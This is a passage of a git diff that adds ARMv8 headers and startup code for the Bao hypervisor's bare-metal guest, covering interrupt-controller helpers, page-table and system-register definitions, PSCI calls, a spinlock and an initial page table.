uint32_t gicr_id); +void gicr_set_act(uint64_t int_id, bool act, uint32_t gicr_id); +void gicr_set_state(uint64_t int_id, enum int_state state, uint32_t gicr_id); +void gicr_set_trgt(uint64_t int_id, uint8_t trgt, uint32_t gicr_id); +void gicr_set_route(uint64_t int_id, uint8_t trgt, uint32_t gicr_id); +uint64_t gicr_get_prio(uint64_t int_id, uint32_t gicr_id); +enum int_state gicr_get_state(uint64_t int_id, uint32_t gicr_id); + +static inline bool gic_is_sgi(uint64_t int_id) +{ + return int_id < GIC_MAX_SGIS; +} + +static inline bool gic_is_priv(uint64_t int_id) +{ + return int_id < GIC_CPU_PRIV; +} + +#endif /* __GIC_H__ */ diff --git a/bao-baremetal-guest/src/arch/armv8/inc/page_tables.h b/bao-baremetal-guest/src/arch/armv8/inc/page_tables.h new file mode 100644 index 0000000..b3b113d --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/page_tables.h @@ -0,0 +1,66 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef PAGE_TABLES_H +#define PAGE_TABLES_H + +#define PTE_TYPE_MSK (0x3) +#define PTE_VALID (0x1) +#define PTE_SUPERPAGE (0x1) +#define PTE_TABLE (0x3) +#define PTE_PAGE (0x3) + +#define PTE_NSTable (1LL << 63) +#define PTE_APTable_OFF (61) +#define PTE_APTable_MSK (0x3LL << PTE_APTable_OFF) +#define PTE_APTable_ALL (0x0LL << PTE_APTable_OFF) +#define PTE_APTable_NOEL0 (0x1LL << PTE_APTable_OFF) +#define PTE_APTable_RO (0x2LL << PTE_APTable_OFF) +#define PTE_APTable_RO_NOEL0 (0x3LL << PTE_APTable_OFF) +#define PTE_XNTable (1LL << 60) +#define PTE_PXNTable (1LL << 59) + +#define PTE_PBHA_OFF (59) +#define PTE_PBHA_MSK (0xf << PTE_PBHA_OFF) +#define PTE_PBHA(VAL) ((VAL << PTE_PBHA_OFF) & PTE_PBHA_MSK) +#define PTE_XN (1LL << 54) +#define PTE_PXN (1LL << 53) +#define PTE_Con (1LL << 52) +#define PTE_DBM (1LL << 51) +#define PTE_nG (1LL << 11) +#define PTE_AF (1LL << 10) +#define PTE_SH_OFF (8) +#define PTE_SH_MSK (0x3LL << PTE_SH_OFF) +#define PTE_SH_NS (0x0LL << PTE_SH_OFF) +#define PTE_SH_OS (0x2LL << PTE_SH_OFF) +#define PTE_SH_IS (0x3LL << PTE_SH_OFF) +#define PTE_AP_OFF (6) +#define PTE_AP_MSK (0x3LL << PTE_AP_OFF) +#define PTE_AP_RW_PRIV (0x0LL << PTE_AP_OFF) +#define PTE_AP_RO_PRIV (0x2LL << PTE_AP_OFF) +#define PTE_AP_RW (0x1LL << PTE_AP_OFF) +#define PTE_AP_RO (0x3LL << PTE_AP_OFF) +#define PTE_NS (1 << 5) +#define PTE_ATTR_OFF (2) +#define PTE_ATTR_MSK (0x7LL << PTE_ATTR_OFF) +#define PTE_ATTR(N) ((N << PTE_ATTR_OFF) & PTE_ATTR_MSK) + +#define PAGE_SIZE 0x1000 +#define L1_BLOCK_SIZE 0x40000000 +#define PTE_MEM_FLAGS (PTE_ATTR(1) | PTE_AP_RW_PRIV | PTE_SH_IS | PTE_AF) +#define PTE_DEV_FLAGS (PTE_ATTR(2) | PTE_AP_RW_PRIV | PTE_SH_IS | PTE_AF) + +#endif \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/armv8/inc/psci.h b/bao-baremetal-guest/src/arch/armv8/inc/psci.h new file mode 100644 index 0000000..316db0a --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/psci.h @@ -0,0 +1,72 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __PSCI_H__ +#define __PSCI_H__ + +#include + +#define PSCI_VERSION (0x84000000) +#define PSCI_CPU_SUSPEND_AARCH32 (0x84000001) +#define PSCI_CPU_SUSPEND_AARCH64 (0xc4000001) +#define PSCI_CPU_OFF (0x84000002) +#define PSCI_CPU_ON_AARCH32 (0x84000003) +#define PSCI_CPU_ON_AARCH64 (0xc4000003) +#define PSCI_AFFINITY_INFO_AARCH32 (0x84000004) +#define PSCI_AFFINITY_INFO_AARCH64 (0xc4000004) + +#define PSCI_POWER_STATE_LVL_0 0x0000000 +#define PSCI_POWER_STATE_LVL_1 0x1000000 +#define PSCI_POWER_STATE_LVL_2 0x2000000 +#define PSCI_STATE_TYPE_STANDBY 0x00000 +#define PSCI_STATE_TYPE_POWERDOWN (1UL << 30) +#define PSCI_STATE_TYPE_BIT (1UL << 30) + +#define PSCI_CPU_IS_ON 0 +#define PSCI_CPU_IS_OFF 1 + +#define PSCI_INVALID_ADDRESS (-1L) +#define PSCI_E_SUCCESS 0 +#define PSCI_E_NOT_SUPPORTED -1 +#define PSCI_E_INVALID_PARAMS -2 +#define PSCI_E_DENIED -3 +#define PSCI_E_ALREADY_ON -4 +#define PSCI_E_ON_PENDING -5 +#define PSCI_E_INTERN_FAIL -6 +#define PSCI_E_NOT_PRESENT -7 +#define PSCI_E_DISABLED -8 +#define PSCI_E_INVALID_ADDRESS -9 + + +/* psci wake up from off entry point */ +void _psci_wake_up(); + +uint64_t psci_version(void); + +uint64_t psci_cpu_suspend(uint64_t power_state, + uintptr_t entrypoint, + uint64_t context_id); + +uint64_t psci_cpu_off(void); + +uint64_t psci_cpu_on(uint64_t target_cpu, + uintptr_t entrypoint, + uint64_t context_id); + +uint64_t psci_affinity_info(uint64_t target_affinity, + uint64_t lowest_affinity_level); + +#endif /* __PSCI_H__ */ diff --git a/bao-baremetal-guest/src/arch/armv8/inc/spinlock.h b/bao-baremetal-guest/src/arch/armv8/inc/spinlock.h new file mode 100644 index 0000000..991252e --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/spinlock.h @@ -0,0 +1,49 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __SPINLOCK__ +#define __SPINLOCK__ + +#include + +typedef volatile uint32_t spinlock_t; + +#define SPINLOCK_INITVAL (0) + +static inline void spin_lock(spinlock_t* lock){ + + uint32_t const ONE = 1; + spinlock_t tmp; + + asm volatile ( + "1:\n\t" + "ldaxr %w0, %1 \n\t" + "cbnz %w0, 1b \n\t" + "stxr %w0, %w2, %1 \n\t" + "cbnz %w0, 1b \n\t" + : "=&r"(tmp), "+Q"(*lock) + : "r"(ONE) + ); + + +} + +static inline void spin_unlock(spinlock_t* lock){ + + asm volatile ("stlr wzr, %0\n\t" :: "Q"(*lock)); +} + +#endif \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/armv8/inc/sysregs.h b/bao-baremetal-guest/src/arch/armv8/inc/sysregs.h new file mode 100644 index 0000000..98495df --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/sysregs.h @@ -0,0 +1,480 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __ARCH_SYSREGS_H__ +#define __ARCH_SYSREGS_H__ + +/* ID_AA64MMFR0_EL1, AArch64 Memory Model Feature Register 0 */ +#define ID_AA64MMFR0_PAR_OFF 0 +#define ID_AA64MMFR0_PAR_LEN 4 +#define ID_AA64MMFR0_PAR_MSK \ + BIT_MASK(ID_AA64MMFR0_PAR_OFF, ID_AA64MMFR0_PAR_LEN) + +#define SPSel_SP (1 << 0) + +/* PSTATE */ + +#define PSTATE_DAIF_I_BIT (1UL << 1) + +/* MPIDR_EL1, Multiprocessor Affinity Register */ + +#define MPIDR_RES1 (0x80000000) +#define MPIDR_CPU_MASK MPIDR_AFFLVL_MASK +#define MPIDR_CLUSTER_MASK (MPIDR_AFFLVL_MASK << MPIDR_AFFINITY_BITS) +#define MPIDR_AFFINITY_BITS (8) +#define MPIDR_AFFLVL_MASK (0xff) +#define MPIDR_U_BIT (1UL << 30) + +/* SPSR - Saved Program Status Register */ + +#define SPSR_EL_MSK (0x0f) +#define SPSR_EL0t (0x0) +#define SPSR_EL1t (0x4) +#define SPSR_EL1h (0x5) +#define SPSR_EL2t (0x8) +#define SPSR_EL2h (0x9) +#define SPSR_EL3t (0xc) +#define SPSR_EL3h (0xd) + +#define SPSR_F (1 << 6) +#define SPSR_I (1 << 7) +#define SPSR_A (1 << 8) +#define SPSR_D (1 << 9) +#define SPSR_IL (1 << 20) +#define SPSR_SS (1 << 21) + +/* SCR - Secure Configuration Register */ + +#define SCR_NS (1 << 0) +#define SCR_IRQ (1 << 1) +#define SCR_FIQ (1 << 2) +#define SCR_EA (1 << 3) +#define SCR_SMD (1 << 7) +#define SCR_HCE (1 << 8) +#define SCR_SIF (1 << 9) +#define SCR_RW (1 << 10) +#define SCR_ST (1 << 11) +#define SCR_TWI (1 << 12) +#define SCR_TWE (1 << 13) +#define SCR_TLOR (1 << 14) +#define SCR_TERR (1 << 15) +#define SCR_APK (1 << 16) +#define SCR_API (1 << 17) + +/* TCR - Translation Control Register */ + +#define TCR_RES1 ((1 << 23) | (1 << 31)) +#define TCR_T0SZ_MSK (0x1f << 0) +#define TCR_T0SZ_OFF (0) +#define TCR_T0SZ(SZ) ((SZ << TCR_T0SZ_OFF) & TCR_T0SZ_MSK) +#define TCR_IRGN0_MSK (0x3 << 8) +#define TCR_IRGN0_NC (0 << 8) +#define TCR_IRGN0_WB_RA_WA (1 << 8) +#define TCR_IRGN0_WT_RA_NWA (2 << 8) +#define TCR_IRGN0_WB_RA_NWA (3 << 8) +#define TCR_ORGN0_MSK (0x3 << 10) +#define TCR_ORGN0_NC (0 << 10) +#define TCR_ORGN0_WB_RA_WA (1 << 10) +#define TCR_ORGN0_WT_RA_NWA (2 << 10) +#define TCR_ORGN0_WB_RA_NWA (3 << 10) +#define TCR_SH0_MSK (0x3 << 12) +#define TCR_SH0_NS (0 << 12) +#define TCR_SH0_IS (2 << 12) +#define TCR_SH0_OS (3 << 12) +#define TCR_TG0_MSK (0x3 << 14) +#define TCR_TG0_4K (0 << 14) +#define TCR_TG0_16K (2 << 14) +#define TCR_TG0_64K (1 << 14) +#define TCR_PS_OFF (16) +#define TCR_PS_MSK (0x7 << TCR_PS_OFF) +#define TCR_PS_32B (0 << 16) +#define TCR_PS_36B (1 << 16) +#define TCR_PS_40B (2 << 16) +#define TCR_PS_42B (3 << 16) +#define TCR_PS_44B (4 << 16) +#define TCR_PS_48B (5 << 16) +#define TCR_PS_52B (6 << 16) +#define TCR_TBI (1 << 20) + +/** + * Default hypervisor translation control + * The PS field must be filled at runtime by first reading parange + */ +#define TCR_EL2_DFLT \ + (TCR_RES1 | TCR_TG0_4K | TCR_PS_48B | TCR_ORGN0_WB_RA_WA | \ + TCR_IRGN0_WB_RA_WA | TCR_T0SZ(16) | TCR_SH0_IS) + +/* TCR - Translation Control Register */ + +#define VTCR_RES1 (1UL << 31) +#define VTCR_T0SZ_MSK (0x1f << 0) +#define VTCR_T0SZ_OFF (0) +#define VTCR_T0SZ(SZ) (((SZ) << TCR_T0SZ_OFF) & TCR_T0SZ_MSK) +#define VTCR_SL0_OFF (6) +#define VTCR_SL0_MSK (0xc0) +#define VTCR_SL0_01 ((0x2UL << VTCR_SL0_OFF) & VTCR_SL0_MSK) +#define VTCR_SL0_12 ((0x1UL << VTCR_SL0_OFF) & VTCR_SL0_MSK) +#define VTCR_SL0_23 (0) +#define VTCR_IRGN0_MSK (0x3 << 8) +#define VTCR_IRGN0_NC (0 << 8) +#define VTCR_IRGN0_WB_RA_WA (1 << 8) +#define VTCR_IRGN0_WT_RA_NWA (2 << 8) +#define VTCR_IRGN0_WB_RA_NWA (3 << 8) +#define VTCR_ORGN0_MSK (0x3 << 10) +#define VTCR_ORGN0_NC (0 << 10) +#define VTCR_ORGN0_WB_RA_WA (1 << 10) +#define VTCR_ORGN0_WT_RA_NWA (2 << 10) +#define VTCR_ORGN0_WB_RA_NWA (3 << 10) +#define VTCR_SH0_MSK (0x3 << 12) +#define VTCR_SH0_NS (0 << 12) +#define VTCR_SH0_IS (2 << 12) +#define VTCR_SH0_OS (3 << 12) +#define VTCR_TG0_MSK (0x3 << 14) +#define VTCR_TG0_4K (0 << 14) +#define VTCR_TG0_16K (2 << 14) +#define VTCR_TG0_64K (1 << 14) +#define VTCR_PS_OFF (16) +#define VTCR_PS_MSK (0x7 << VTCR_PS_OFF) +#define VTCR_PS_32B (0 << 16) +#define VTCR_PS_36B (1 << 16) +#define VTCR_PS_40B (2 << 16) +#define VTCR_PS_42B (3 << 16) +#define VTCR_PS_44B (4 << 16) +#define VTCR_PS_48B (5 << 16) +#define VTCR_PS_52B (6 << 16) +#define VTCR_TBI (1 << 20) + +/** + * Default stage-2 translation control + * ... + */ +#define VTCR_DFLT \ + (VTCR_RES1 | VTCR_PS_40B | VTCR_TG0_4K | VTCR_ORGN0_WB_RA_WA | \ + VTCR_IRGN0_WB_RA_WA | VTCR_T0SZ(24) | VTCR_SLO_12 | VTCR_SH0_IS) + +/* MAIR - Memory Attribute Indirection Register */ + +#define MAIR_ATTR_WIDTH (8) +#define MAIT_ATTR_NUM (8) + +#define MAIR_DEV_nGnRnE (0x0 << 2) +#define MAIR_DEV_nGnRE (0x1 << 2) +#define MAIR_DEV_nGRE (0x2 << 2) +#define MAIR_DEV_GRE (0x3 << 2) + +#define MAIR_OWTT (0x0 << 6) +#define MAIR_ONC (0x1 << 6) +#define MAIR_OWBT (0x1 << 6) +#define MAIR_OWTNT (0x2 << 6) +#define MAIR_OWBNT (0x3 << 6) +#define MAIR_ORA (0x1 << 5) +#define MAIR_OWA (0x1 << 4) + +#define MAIR_IWTT (0x0 << 2) +#define MAIR_INC (0x1 << 2) +#define MAIR_IWBT (0x1 << 2) +#define MAIR_IWTNT (0x2 << 2) +#define MAIR_IWBNT (0x3 << 2) +#define MAIR_IRA (0x1 << 1) +#define MAIR_IWA (0x1 << 0) + +/** +* Default hypervisor memory attributes +* 0 -> Device-nGnRnE +* 1 -> Normal, Inner/Outer WB/WA/RA +* 2 -> Device-nGnRE +*/ +#define MAIR_EL1_DFLT (\ + ((MAIR_OWBNT | MAIR_ORA | MAIR_OWA | MAIR_IWBNT | MAIR_IRA | MAIR_IWA)\ + << MAIR_ATTR_WIDTH) |\ + ((MAIR_DEV_nGnRE) << (MAIR_ATTR_WIDTH*2))\ +) + +/** + * Default hypervisor memory attributes + * 0 -> Device-nGnRnE + * 1 -> Normal, Inner/Outer WB/WA/RA + * 2 -> Device-nGnRE + */ +#define MAIR_EL2_DFLT \ + (((MAIR_OWBNT | MAIR_ORA | MAIR_OWA | MAIR_IWBNT | MAIR_IRA | MAIR_IWA) \ + << MAIR_ATTR_WIDTH) | \ + ((MAIR_DEV_nGnRE) << (MAIR_ATTR_WIDTH * 2))) + +/* PAR - Physical Address Register */ + +#define PAR_ATTR_OFF (56) +#define PAR_ATTR_MSK (0xffUL << PAR_ATTR_OFF) +#define PAR_PA_OFF (12) +#define PAR_PA_MSK (0x3ffffffUL << PAR_PA_OFF) +#define PAR_RES1 (0x1UL << 11) +#define PAR_IMPDEF (0x1UL << 10) +#define PAR_NS (0x1UL << 9) +#define PAR_SH_OFF (7) +#define PAR_SH_MSK (0x3UL << PAR_SH_OFF) +#define PAR_F (0x1UL << 0) + +/* SCTLR - System Control Register */ + +#define SCTLR_RES1 (0x30C50830) +#define SCTLR_M (1 << 0) +#define SCTLR_A (1 << 1) +#define SCTLR_C (1 << 2) +#define SCTLR_SA (1 << 3) +#define SCTLR_I (1 << 12) +#define SCTLR_WXN (1 << 19) +#define SCTLR_EE (1 << 25) + +/* CLIDR - Cache Level ID Register */ + +#define CLIDR_CTYPE_LEN (0x03) +#define CLIDR_CTYPE_NUM (0x07) +#define CLIDR_CTYPE_NO 0 +#define CLIDR_CTYPE_IO 1 +#define CLIDR_CTYPE_DO 2 +#define CLIDR_CTYPE_SP 3 +#define CLIDR_CTYPE_UN 4 + +/* CTR_EL0 - Cache Type Register */ + +#define CTR_IMINLINE_OFF 0 +#define CTR_IMINLINE_LEN 4 +#define CTR_L1LP_OFF 14 +#define CTR_L1LP_LEN 2 +#define CTR_L1LP_AIVIVT (0x1UL << CTR_L1LP_OFF) +#define CTR_L1LP_VIPT (0x2UL << CTR_L1LP_OFF) +#define CTR_L1LP_PIPT (0x3UL << CTR_L1LP_OFF) +#define CTR_DMINLINE_OFF 16 +#define CTR_DMINLINE_LEN 4 +#define CTR_ERG_OFF 20 +#define CTR_ERG_LEN 4 +#define CTR_CEG_OFF 24 +#define CTR_CEG_LEN 4 +#define CTR_RES1 (1UL << 31) + +/* CSSELR_EL1 - Cache Size Selection Register */ + +#define CSSELR_IND_BIT 0 +#define CSSELR_LVL_OFF 1 +#define CSSELR_LVL_LEN 3 + +/* CCSIDR_EL1 - Current Cache Size ID Register */ + +#define CCSIDR_LINESIZE_OFF 0 +#define CCSIDR_LINESIZE_LEN 3 +#define CCSIDR_ASSOCIATIVITY_OFF 3 +#define CCSIDR_ASSOCIATIVITY_LEN 10 +#define CCSIDR_NUMSETS_OFF 13 +#define CCSIDR_NUMSETS_LEN 15 + +/** + * Below are platform implementation registers related to a53. + * TODO: move them to a a53 specific file. + */ + +/* CPUECTLR_EL1 - CPU Extended Control Register */ + +#define CPUECTLR_EL1 S3_1_c15_c2_1 +#define CPUECTLR_SPEN_BIT (1UL << 6) + +/* ACTLR - Auxiliary Control Register */ + +#define ACTLR_CPUACTLR_BIT (1UL << 0) +#define ACTLR_CPUECTLR_BIT (1UL << 1) +#define ACTLR_L2CTLR_BIT (1UL << 4) +#define ACTLR_L2ECTLR_BIT (1UL << 5) +#define ACTLR_L2ACTLR_BIT (1UL << 6) + +/* HCR_EL2 - Hypervisor Configuration Register */ + +#define HCR_VM_BIT (1UL << 0) +#define HCR_SWIO_BIT (1UL << 1) +#define HCR_PTW_BIT (1UL << 2) +#define HCR_FMO_BIT (1UL << 3) +#define HCR_IMO_BIT (1UL << 4) +#define HCR_AMO_BIT (1UL << 5) +#define HCR_VF_BIT (1UL << 6) +#define HCR_VI_BIT (1UL << 7) +#define HCR_VSE_BIT (1UL << 8) +#define HCR_FB_BIT (1UL << 9) +#define HCR_BSU_BIT (1UL << 10) +#define HCR_DC_BIT (1UL << 12) +#define HCR_TWI_BIT (1UL << 13) +#define HCR_TWE_BIT (1UL << 14) +#define HCR_TID0_BIT (1UL << 15) +#define HCR_TID1_BIT (1UL << 16) +#define HCR_TID2_BIT (1UL << 17) +#define HCR_TID3_BIT (1UL << 18) +#define HCR_TSC_BIT (1UL << 19) +#define HCR_TIDCP_BIT (1UL << 20) +#define HCR_TACR_BIT (1UL << 21) +#define HCR_TSW_BIT (1UL << 22) +#define HCR_TPC_BIT (1UL << 23) +#define HCR_TPU_BIT (1UL << 24) +#define HCR_TTLB_BIT (1UL << 25) +#define HCR_TVM_BIT (1UL << 26) +#define HCR_TGE_BIT (1UL << 27) +#define HCR_TDZ_BIT (1UL << 28) +#define HCR_HCD_BIT (1UL << 29) +#define HCR_TRVM_BIT (1UL << 30) +#define HCR_RW_BIT (1UL << 31) +#define HCR_CD_BIT (1UL << 32) +#define HCR_ID_BIT (1UL << 33) +#define HCR_TERR_BIT (1UL << 36) +#define HCR_TEA_BIT (1UL << 37) +#define HCR_MIOCNCE_BIT (1UL << 38) + +/* ESR_ELx, Exception Syndrome Register (ELx) */ + +#define ESR_ISS_OFF (0) +#define ESR_ISS_LEN (25) +#define ESR_IL_OFF (25) +#define ESR_IL_LEN (1) +#define ESR_EC_OFF (26) +#define ESR_EC_LEN (6) + +#define ESR_EC_UNKWN (0x00) +#define ESR_EC_WFIE (0x01) +#define ESR_EC_SVC32 (0x11) +#define ESR_EC_HVC32 (0x12) +#define ESR_EC_SMC32 (0x13) +#define ESR_EC_SVC64 (0x15) +#define ESR_EC_HVC64 (0x16) +#define ESR_EC_SMC64 (0x17) +#define ESR_EC_IALEL (0x20) +#define ESR_EC_IASEL (0x21) +#define ESR_EC_PCALG (0x22) +#define ESR_EC_DALEL (0x24) +#define ESR_EC_DASEL (0x25) +#define ESR_EC_SPALG (0x26) + +#define ESR_ISS_DA_DSFC_OFF (0) +#define ESR_ISS_DA_DSFC_LEN (6) +#define ESR_ISS_DA_WnR_OFF (6) +#define ESR_ISS_DA_WnR_LEN (1) +#define ESR_ISS_DA_WnR_BIT (1 << 6) +#define ESR_ISS_DA_S1PTW_OFF (7) +#define ESR_ISS_DA_S1PTW_LEN (1) +#define ESR_ISS_DA_CM_OFF (8) +#define ESR_ISS_DA_CM_LEN (1) +#define ESR_ISS_DA_EA_OFF (9) +#define ESR_ISS_DA_EA_LEN (1) +#define ESR_ISS_DA_FnV_OFF (10) +#define ESR_ISS_DA_FnV_LEN (1) +#define ESR_ISS_DA_FnV_BIT (1UL << 10) +#define ESR_ISS_DA_SET_OFF (11) +#define ESR_ISS_DA_SET_LEN (2) +#define ESR_ISS_DA_AR_OFF (14) +#define ESR_ISS_DA_AR_LEN (1) +#define ESR_ISS_DA_SF_OFF (15) +#define ESR_ISS_DA_SF_LEN (1) +#define ESR_ISS_DA_SRT_OFF (16) +#define ESR_ISS_DA_SRT_LEN (5) +#define ESR_ISS_DA_SSE_OFF (21) +#define ESR_ISS_DA_SSE_LEN (1) +#define ESR_ISS_DA_SAS_OFF (22) +#define ESR_ISS_DA_SAS_LEN (2) +#define ESR_ISS_DA_ISV_OFF (24) +#define ESR_ISS_DA_ISV_LEN (1) +#define ESR_ISS_DA_ISV_BIT (1UL << 24) + +#define ESR_ISS_DA_DSFC_CODE (0xf << 2) +#define ESR_ISS_DA_DSFC_ADDRSZ (0x0) +#define ESR_ISS_DA_DSFC_TRNSLT (0x4) +#define ESR_ISS_DA_DSFC_ACCESS (0x8) +#define ESR_ISS_DA_DSFC_PERMIS (0xC) + +/* VTTBR_EL2, Virtualization Translation Table Base Register */ + +#define VTTBR_VMID_OFF 48 +#define VTTBR_VMID_LEN 8 +#define VTTBR_VMID_MSK BIT_MASK(VTTBR_VMID_OFF, VTTBR_VMID_LEN) + +#define CPUACTLR_EL1 S3_1_C15_C2_0 + +/* GICC System Register Interface Definitions */ + +#define ICC_PMR_EL1 S3_0_C4_C6_0 +#define ICC_IAR0_EL1 S3_0_C12_C8_0 +#define ICC_EOIR0_EL1 S3_0_C12_C8_1 +#define ICC_HPPIR0_EL1 S3_0_C12_C8_2 +#define ICC_BPR0_EL1 S3_0_C12_C8_3 +// #define ICC_AP0R_EL1 S3_0_C12_C8_ +// #define ICC_AP1R_EL1 S3_0_C12_C9_ +#define ICC_DIR_EL1 S3_0_C12_C11_1 +#define ICC_RPR_EL1 S3_0_C12_C11_3 +#define ICC_SGI1R_EL1 S3_0_C12_C11_5 +#define ICC_ASGI1R_EL1 S3_0_C12_C11_6 +#define ICC_SGI0R_EL1 S3_0_C12_C11_7 +#define ICC_IAR1_EL1 S3_0_C12_C12_0 +#define ICC_EOIR1_EL1 S3_0_C12_C12_1 +#define ICC_HPPIR1_EL1 S3_0_C12_C12_2 +#define ICC_BPR1_EL1 S3_0_C12_C12_3 +#define ICC_CTLR_EL1 S3_0_C12_C12_4 +#define ICC_SRE_EL1 S3_0_C12_C12_5 +#define ICC_IGRPEN0_EL1 S3_0_C12_C12_6 +#define ICC_IGRPEN1_EL1 S3_0_C12_C12_7 +#define ICC_SRE_EL2 S3_4_C12_C9_5 +#define ICC_CTLR_EL3 S3_6_C12_C12_4 +#define ICC_SRE_EL3 S3_6_C12_C12_5 +#define ICC_IGRPEN1_EL3 S3_6_C12_C12_7 + +// #define ICH_AP0R_EL2 S3_4_C12_C8 _0-3 +// #define ICH_AP1R_EL2 S3_4_C12_C9 _0-3 +#define ICH_HCR_EL2 S3_4_C12_C11_0 +#define ICH_VTR_EL2 S3_4_C12_C11_1 +#define ICH_MISR_EL2 S3_4_C12_C11_2 +#define ICH_EISR_EL2 S3_4_C12_C11_3 +#define ICH_ELRSR_EL2 S3_4_C12_C11_5 +#define ICH_VMCR_EL2 S3_4_C12_C11_7 +#define ICH_LR0_EL2 S3_4_C12_C12_0 +#define ICH_LR1_EL2 S3_4_C12_C12_1 +#define ICH_LR2_EL2 S3_4_C12_C12_2 +#define ICH_LR3_EL2 S3_4_C12_C12_3 +#define ICH_LR4_EL2 S3_4_C12_C12_4 +#define ICH_LR5_EL2 S3_4_C12_C12_5 +#define ICH_LR6_EL2 S3_4_C12_C12_6 +#define ICH_LR7_EL2 S3_4_C12_C12_7 +#define ICH_LR8_EL2 S3_4_C12_C13_0 +#define ICH_LR9_EL2 S3_4_C12_C13_1 +#define ICH_LR10_EL2 S3_4_C12_C13_2 +#define ICH_LR11_EL2 S3_4_C12_C13_3 +#define ICH_LR12_EL2 S3_4_C12_C13_4 +#define ICH_LR13_EL2 S3_4_C12_C13_5 +#define ICH_LR14_EL2 S3_4_C12_C13_6 +#define ICH_LR15_EL2 S3_4_C12_C13_7 + +#define ICC_SRE_ENB_BIT (0x8) +#define ICC_SRE_DIB_BIT (0x4) +#define ICC_SRE_DFB_BIT (0x2) +#define ICC_SRE_SRE_BIT (0x1) + +#define ICC_IGRPEN_EL1_ENB_BIT (0x1) + +#ifndef __ASSEMBLER__ + +#define STR(str) #str + +#define MRS(reg) ({\ + uint64_t _temp;\ + asm volatile("mrs %0, " STR(reg) "\n\r" : "=r"(_temp));\ + _temp;\ +}) + +#define MSR(reg, var) asm volatile("msr " STR(reg) ", %0\n\r" ::"r"(var)) + +#endif /* |__ASSEMBLER__ */ + +#endif /* __ARCH_SYSREGS_H__ */ diff --git a/bao-baremetal-guest/src/arch/armv8/inc/wfi.h b/bao-baremetal-guest/src/arch/armv8/inc/wfi.h new file mode 100644 index 0000000..4e6d1ba --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/wfi.h @@ -0,0 +1,8 @@ +#ifndef WFI_H +#define WFI_H + +static inline void wfi(){ + asm volatile("wfi\n\t" ::: "memory"); +} + +#endif \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/armv8/init.c b/bao-baremetal-guest/src/arch/armv8/init.c new file mode 100644 index 0000000..63e822f --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/init.c @@ -0,0 +1,28 @@ + +#include +#include +#include +#include +#include +#include + +void _start(); + +__attribute__((weak)) +void arch_init(){ + uint64_t cpuid = get_cpuid(); + gic_init(); + TIMER_FREQ = MRS(CNTFRQ_EL0); + MSR(CNTV_CTL_EL0, 1); +#ifndef SINGLE_CORE + if(cpuid == 0){ + size_t i = 0; + int ret; + do { + if(i == cpuid) continue; + ret = psci_cpu_on(i, (uintptr_t) _start, 0); + } while(i++, ret == PSCI_E_SUCCESS); + } +#endif + asm volatile("MSR DAIFClr, #2\n\t"); +} diff --git a/bao-baremetal-guest/src/arch/armv8/irq.c b/bao-baremetal-guest/src/arch/armv8/irq.c new file mode 100644 index 0000000..be3cb05 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/irq.c @@ -0,0 +1,28 @@ +#include +#include +#include + +#ifndef GIC_VERSION +#error "GIC_VERSION not defined for this platform" +#endif + +void irq_enable(unsigned id) { + gic_set_enable(id, true); + if(GIC_VERSION == GICV2) { + gic_set_trgt(id, gic_get_trgt(id) | (1 << get_cpuid())); + } else { + gic_set_route(id, get_cpuid()); + } +} + +void irq_set_prio(unsigned id, unsigned prio){ + gic_set_prio(id, (uint8_t) prio); +} + +void irq_send_ipi(uint64_t target_cpu_mask) { + for(int i = 0; i < sizeof(target_cpu_mask)*8; i++) { + if(target_cpu_mask & (1ull << i)) { + gic_send_sgi(i, IPI_IRQ_ID); + } + } +} diff --git a/bao-baremetal-guest/src/arch/armv8/page_tables.S b/bao-baremetal-guest/src/arch/armv8/page_tables.S new file mode 100644 index 0000000..793f192 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/page_tables.S @@ -0,0 +1,42 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include + +.section .page_tables, "aw" +.balign PAGE_SIZE + +l1_page_table: + + //0x00000000 - 0x7FFFFFFF RAM + .set ADDR, 0 + .rept 2 + .8byte (PTE_SUPERPAGE | PTE_MEM_FLAGS) + ADDR + .set ADDR, ADDR + L1_BLOCK_SIZE + .endr + + //0x80000000 - 0xFFFFFFFF DEVICES + .rept 2 + .8byte (PTE_SUPERPAGE | PTE_DEV_FLAGS) + ADDR + .set 